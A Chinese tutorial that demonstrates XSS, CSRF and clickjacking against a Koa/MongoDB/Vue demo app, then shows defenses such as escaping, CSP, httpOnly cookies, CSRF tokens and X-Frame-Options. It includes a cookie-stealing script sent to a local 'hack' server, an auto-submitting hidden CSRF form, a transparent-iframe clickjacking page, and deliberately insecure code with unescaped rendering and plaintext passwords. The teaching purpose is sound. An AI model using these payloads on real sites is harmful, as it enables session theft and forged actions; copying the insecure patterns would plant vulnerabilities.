本篇文章是《琢·磨》系列技术分享第16讲,分享常见Web安全攻防演练,包括XSS、CSRF、点击劫持,会从攻击和如何防守两个方向分别进行分享; 本篇文章使用的是koa + MongoDB + Vue实现的demo逻辑。
XSS
1)XSS的定义
XSS (Cross-Site Scripting),跨站脚本攻击,因为缩写和 CSS重叠,所以只能叫 XSS。 跨站脚本攻击是指通过存在安全漏洞的Web网站,让已注册用户在站点内运行非法的非本站点的HTML标签或JavaScript,进行的一种攻击。 简单的来说,就是在站内运行非本站的javascript脚本,所受到的攻击。
2)XSS的分类
常见的XSS攻击分类有两种:
3)整体演示代码结构
在看代码之前,我们先来看一下demo提供的功能:
下面我们看一下,本次分享所使用到的demo:
首先是常规程序的主入口,index.js
const Koa = require('koa');
// koa-router来处理路由
const router = require('koa-router')();
const session = require('koa-session');
// 用来解析post请求的数据,会挂在ctx.request.body中
const bodyParser = require('koa-bodyparser');
// 用来做静态服务的处理
const static = require('koa-static');
// 用来处理渲染前端模板,会在ctx中挂在render方法
const views = require('koa-views');
// 数据库连接文件
require('./utils/mongoose');
// 两个表的模型声明
const UserModel = require('./models/user');
const CommentModel = require('./models/Comment');
const {
checkPassword
} = require('./utils/checkLogin');
const app = new Koa();
app.keys = ['some secret'];
// 以下做了上面引入的中间件的初始化
app.use(static(__dirname + '/'));
app.use(bodyParser());
app.use(session({
key: 'koa.sess',
maxAge: 86400000,
httpOnly: false,
signed: false,
}, app));
app.use(views(__dirname + '/views', {
map: {
html: 'handlebars',
}
}));
// 登录接口
router.post('/login', async (ctx) => {
const {
body: {
username,
password,
}
} = ctx.request;
// 检验账号密码
if (!(await checkPassword({
username,
password,
}))) {
ctx.body = {
message: '账号或者密码不对'
};
return;
}
ctx.session.userinfo = {
username,
password
};
ctx.body = {
message: '登录成功'
};
})
// 注册接口
router.post('/register', async (ctx, next) => {
const {
body: {
username,
password,
}
} = ctx.request;
await UserModel.create({
username,
password
});
ctx.body = {
message: '注册成功',
};
})
// 渲染评论页面
router.get('/comment', async (ctx) => {
const commentList = await CommentModel.getCommentList();
await ctx.render('comment', {
address: ctx.request.query.address,
commentList: JSON.parse(JSON.stringify(commentList)),
});
});
// 评论接口
router.post('/api/comment', async (ctx, next) => {
const {
body: {
comment,
}
} = ctx.request;
await CommentModel.createComment({
username: ctx.session.userinfo.username,
comment,
});
ctx.body = {
message: '评论成功',
};
})
// 渲染登录页面
router.get('/', async (ctx) => {
await ctx.render('index');
});
// 简单处理一下评论需要登录的逻辑
app.use(async (ctx, next) => {
if (ctx.url.indexOf('comment') > -1) {
if (!ctx.session.userinfo) {
ctx.redirect('/');
} else {
await next();
}
} else {
await next();
}
});
app.use(router.routes());
app.use(router.allowedMethods());
app.listen(3000);
接下来看一下model
里的逻辑,显示user.js
// 这里使用了mongoose库做MongoDB的操作
const mongoose = require('mongoose');
// 这里定义了表的数据模型
const schema = mongoose.Schema({
username: String,
password: String,
});
// 这里挂了两个方法,获取用户和设置用户
schema.statics.getUser = function(username) {
return this.model('user')
.findOne({ username })
.exec();
};
schema.statics.createUser = function({ username, password }) {
return this.model('user')
.create({
username,
password,
});
};
// 这里对表与模型做了关联
const model = mongoose.model('user', schema);
module.exports = model;
下面是comment.js
,基本同上:
const mongoose = require('mongoose');
const schema = mongoose.Schema({
username: String,
comment: String,
});
schema.statics.getCommentList = function(username) {
return this.model('comment')
.find({})
.exec();
};
schema.statics.createComment = function({ username, comment }) {
return this.model('comment')
.create({
username,
comment,
});
};
const model = mongoose.model('comment', schema);
module.exports = model;
然后是utils
里提供的工具函数,
主要是判断账号密码是否一致和连接数据库:
// checkLogin.js
const UserModel = require('../models/user');
exports.checkPassword = async function ({ username, password }) {
const res = await UserModel.getUser(username);
if (res && res.password === password) {
return true;
}
return false
}
// mongoose.js
const mongoose = require('mongoose');
mongoose.connect('mongodb://127.0.0.1:27027/loginshare', {
useNewUrlParser: true,
useUnifiedTopology: true,
}).catch(error => {
console.log('数据库error', error)
});;
const conn = mongoose.connection;
conn.on('error', () => console.log('数据库连接失败'));
conn.once('open', () => console.log('数据库连接成功'));
之后是views
中提供的两个页面:
<!-- index.html 登录注册页面 -->
<!DOCTYPE html>
<html lang="zh-cn">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="./views/axios.min.js"></script>
<script src="./views/vue.js"></script>
</head>
<body>
<div id="app">
<div>
<input v-model="username">
<input v-model="password">
</div>
<div>
<button v-on:click="login">登陆</button>
<button v-on:click="register">注册</button>
</div>
</div>
</div>
<script>
var app = new Vue({
el: '#app',
data: {
username: '',
password: ''
},
methods: {
async login() {
await axios.post('/login', {
username: this.username,
password: this.password
})
location.href = '/comment?address=北京'
},
async register() {
await axios.post('/register', {
username: this.username,
password: this.password
})
}
}
});
</script>
</body>
</html>
<!--
comment.html 评论页面
{{{}}} 三个中括号为handlebars模板引擎的语法,会将render渲染页面的第二个参数中的数据注入到页面中
-->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="./views/axios.min.js"></script>
<script src="./views/vue.js"></script>
</head>
<body>
<div id="app">
<div>欢迎来自<span style="color: red">{{{address}}}</span>的用户,欢迎评论</div>
<input type="text" v-model="value">
<button v-on:click="comment">评论</button>
<div>评论列表</div>
<!-- handlebars中的循环语法 -->
{{#each commentList}}
<div>{{{comment}}}</div>
{{/each}}
</div>
<script>
var app = new Vue({
el: '#app',
data: {
value: '默认值',
},
methods: {
async comment() {
await axios.post('/api/comment', {
comment: this.value,
});
location.href = '/comment?address=北京';
}
}
});
</script>
</body>
</html>
以上是常规应用程序的代码,接下来我们看一下攻击程序的代码,hack
,先只看一下index.js
中的逻辑,其他的等演示攻击的时候再展示:
const Koa = require('koa');
const static = require('koa-static');
const chalk = require('chalk');
// 将打印的log变为红色
const log = contents => {
console.log(chalk.red(contents));
};
const app = new Koa();
app.use(static(__dirname + '/'));
// 主要的逻辑就是这个中间件,这里打印了一下请求里携带的cookie
app.use(async (ctx, next) => {
log('cookie: ' + ctx.request.query.cookie);
await next();
});
app.listen(4000);
4)XSS反射型攻击
看完上面的效果演示及代码,我们先来看一下XSS反射性攻击的做法。
我们可以看到,在url的address
中我们输入一个字符串,那么这个地点就会渲染到页面中。那么这种地方就可能会有被攻击的风险。那如果我们输入的是javascript脚本,它会不会执行呢?
可以看到<script>
标签中的alert
成功执行了;那么如果我把hack
中的攻击脚本注入到url中呢?
我们先来看一下hack
中的script.js
这个攻击脚本做了什么操作:
// 这里的逻辑很简单,就是我们常用的发送埋点的一种方式,但是他携带了我们页面中的cookie
const img = document.createElement('img');
img.src = `http://localhost:4000?cookie=${document.cookie}`;
我们再来看一下注入这个攻击脚本会发成什么:
我们会看到我们本站cookie,被hack网站拿到了,那这时候hack就可以拿着我们的cookie模拟我们的登录态进行登录:
反射性XSS攻击,需要用户点击相应的攻击链接才能进行攻击,效率上相对还是偏低,那么我们可以不可考虑将脚本注入到页面中,让所有访问该页面的用户都能运行我们的攻击脚本呢?那么就有了存储型,存储到数据库,用户读取时注入脚本。
5)XSS存储型攻击
接下来我们将脚本通过评论注入到数据库中:
我们可以看到在被注入数据库后,所有访问该页面的用户都会受到攻击。
6)XSS的危害
XSS就是运行javascript
脚本,那么一切javascript
能做的事情它都可以做,例如:
7)XSS防范手段
对输入内容进行转义:
1.使用模板引擎提供的转义语法,对用户所输入的内容进行转义,这里我们用handlebars
提供的{{}}
双括号替代括号
// app/comment.html
<div id="app">
<div>欢迎来自<span style="color: red">{{address}}</span>的用户,欢迎评论</div>
<input type="text" v-model="value">
<button v-on:click="comment">评论</button>
<div>评论列表</div>
<!-- handlebars中的循环语法 -->
{{#each commentList}}
<div>{{comment}}</div>
{{/each}}
</div>
可以看到script
脚本被转成了字符串。
2.使用xss
库对输入内容进行转义,这个的好处是,有一些白名单里的标签不会被转义,比如我们演示中的H1
标签:
// app/index.js
const xss = require('xss');
...
router.get('/comment', async (ctx) => {
const commentList = await CommentModel.getCommentList();
await ctx.render('comment', {
address: ctx.request.query.address,
// 这里我们用xss处理一下我们输出的内容
commentList: JSON.parse(xss(JSON.stringify(commentList))),
});
});
可以看到script
脚本被转义了,而H1
标签没有。
CSP( Content Security Policy) 建立白名单:
先来简单介绍一下CSP
CSP是内容安全策略 (CSP, Content Security Policy) 是一个附加的安全层,本质上就是建立白名单,开发者明确告诉浏览器哪些外部资源可以加载和执行。我们只需要配置规则,如何拦截是由浏览器自己实现的。我们可以通过这种方式来尽量减少XSS攻击。
那么接下来我们用CSP
防御一下XSS
攻击:
// app/index.js
// 这里我们新写一个中间件
app.use(async (ctx, next) => {
// 这里我们只允许加载3000端口下的script脚本
ctx.set('Content-Security-Policy', "script-src http://localhost:3000");
await next();
});
我们可以看到前端页面这个时候4000的攻击脚本就没有加载进来,并在控制台有提示我们配置的csp规则。
httpOnly cookies:
httpOnly
,这是预防XSS
攻击窃取用户cookie
最有效的防御手段。Web
应用程序在设置cookie
时,将其 属性设为HttpOnly
,就可以避免该网页的cookie
被客户端恶意JavaScript
窃取,保护用户cookie
信息。
// app/index.js
app.use(session({
key: 'koa.sess',
maxAge: 86400000,
// 这里我们设置httpOnly为true,只允许cookie在http请求中使用
httpOnly: true,
signed: false,
}, app));
我们可以再次访问时,hack
网站就拿不到我们的cookie
信息了。
以上就是XSS
攻击的攻击和防御手段了,接下来我们看一下CSRF
的攻防手段。
CSRF
1)CSRF的定义
CSRF (cross site request forgery) 跨站请求伪造,它利用用户已登录的身份,在用户不知情的情况下,以用户的名义完,成非法操作。
2)CSRF演示
我们先来看一下hack
中的csrf
攻击页面逻辑:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<h1>看小猫咪的网站,实际是CSRF攻击</h1>
<img src="https://ss1.bdstatic.com/70cFuXSh_Q1YnxGkpoWK1HF6hhy/it/u=3187284430,577053445&fm=11&gp=0.jpg" >
<script>
// 我们插入了一个form表单,在4000的hack网站请求了3000的接口,并且做了数据提交
document.write(`
<form name="form" action="http://localhost:3000/api/comment" method="post" target="csrf" style="display: none">
添加评论: <input type="text" name="comment" value="CSRF攻击" />
</form>
`)
var iframe = document.createElement('iframe');
iframe.name = 'csrf';
iframe.style.display = 'none';
document.body.appendChild(iframe);
setTimeout(function() {
document.querySelector('form').submit();
},1000);
</script>
</body>
</html>
下面我们看一下演示
我们在演示中可以看到,我们在hack
的网站中进行了访问,虽然我们没有去访问3000的站点,但仍然被hack
网站冒用了信息,被盗用进行了评论,这就是csrf的攻击手段。它利用用户已登录的身份,在用户不知情的情况下,以用户的名义完,成非法操作。
3)CSRF的特点
4)CSRF的防范手段
验证referer:
我们在app/index.js加一个中间件
app.use(async (ctx, next) => {
// 这里我们将referer进行输出
console.log('referer: ', ctx.request.header.referer);
await next();
});
可以看到我们能拿到当前的访问站点是哪个,然后就可以设置白名单进行过滤。
携带token:
这里的token
就是一段随机的字符串,在用户访问时我们在页面中随机返回一段字符串,在用户请求的时候,需要携带csrf_token
进行验证。那么hack
网站在模拟攻击时,是无法获取我们页面中注入的csrf_token
的,所以请求会验证失败。
// 我们引用koa-csrf库,它会在ctx下挂载csrf字段
const CSRF = require('koa-csrf');
...
app.use(new CSRF({
invalidTokenMessage: 'Invalid CSRF token',
invalidTokenStatusCode: 403,
excludedMethods: [ 'GET', 'HEAD', 'OPTIONS' ],
disableQuery: false
}));
...
router.get('/comment', async (ctx) => {
const commentList = await CommentModel.getCommentList();
await ctx.render('comment', {
address: ctx.request.query.address,
commentList: JSON.parse(JSON.stringify(commentList)),
csrfToken: ctx.csrf,
});
});
我们将生成的csrf_token
挂到页面中:
// views/comment.html
async comment() {
await axios.post('/api/comment', {
comment: this.value,
_csrf: '{{csrfToken}}',
});
location.href = '/comment?address=北京';
}
可以看到hack
网站在发送请求的时候,验证未通过。
使用验证码:
csrf
就是在用户不知情的情况下,冒用身份做非法操作。那么我们最直接的杜绝方法,就是产生人机交互,让用户知道当前我要做什么操作,要干什么,从而防范csrf
的攻击。那么常见的人机交互方式就是验证码的形式了。
以上就是csrf
的攻击防御手段,接下来我们分享一下点击劫持。
点击劫持
1)点击劫持的定义
点击劫持是一种视觉欺骗的攻击手段。攻击者将需要攻击的网站通过iframe 嵌套的方式嵌入自己的网页中,并将 iframe 设置为透明,在页面中透出一个按钮诱导用户点击,触发了不是用户真正意愿的事件。
2)点击劫持演示
我们还是先来看一下hack
的点击劫持攻击代码:
// hack/click.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<style>
iframe {
width: 800px;
height: 300px;
position: absolute;
top: -0px;
left: -0px;
z-index: 2;
-moz-opacity: 0;
opacity: 0;
filter: alpha(opacity=0);
}
button {
position: absolute;
top: 32px;
left: 164px;
z-index: 1;
}
img {
height: 300px;
}
</style>
</head>
<body>
<button>查看更多</button>
<img
src="https://ss1.bdstatic.com/70cFuXSh_Q1YnxGkpoWK1HF6hhy/it/u=3187284430,577053445&fm=11&gp=0.jpg">
<iframe src="http://localhost:3000/comment" scrolling="no"></iframe>
</body>
</html>
这个攻击代码也很简单,我们就是讲iframe嵌套的网站设置成透明,放在最上层,然后用一个按钮覆盖页面中的操作,在用户点击查看更多
图片的时候,实际上是进行了评论操作;
3)点击劫持的防范
X-FRAME-OPTIONS
X-FRAME-OPTIONS
是一个HTTP
响应头。这个HTTP
响应头就是为了防御用iframe
嵌套的点击劫持攻击。
我们来看一下代码:
router.get('/comment', async (ctx) => {
const commentList = await CommentModel.getCommentList();
//这里我们设置了请求头,不允许任何页面将该页面进行iframe嵌套
ctx.set('X-FRAME-OPTIONS', 'DENY');
await ctx.render('comment', {
address: ctx.request.query.address,
commentList: JSON.parse(JSON.stringify(commentList)),
});
});
可以看到,这个时候页面就没有被iframe加载进来了。
以上就是本期的全部分享了,希望可以对大家有所帮助!
常见问题FAQ
- 免费下载或者VIP会员专享资源能否直接商用?
- 本站所有资源版权均属于原作者所有,这里所提供资源均只能用于参考学习用,请勿直接商用。若由于商用引起版权纠纷,一切责任均由使用者承担。更多说明请参考 VIP介绍。
- 提示下载完但解压或打开不了?
- 找不到素材资源介绍文章里的示例图片?
- 模板不会安装或需要功能定制以及二次开发?
发表评论
还没有评论,快来抢沙发吧!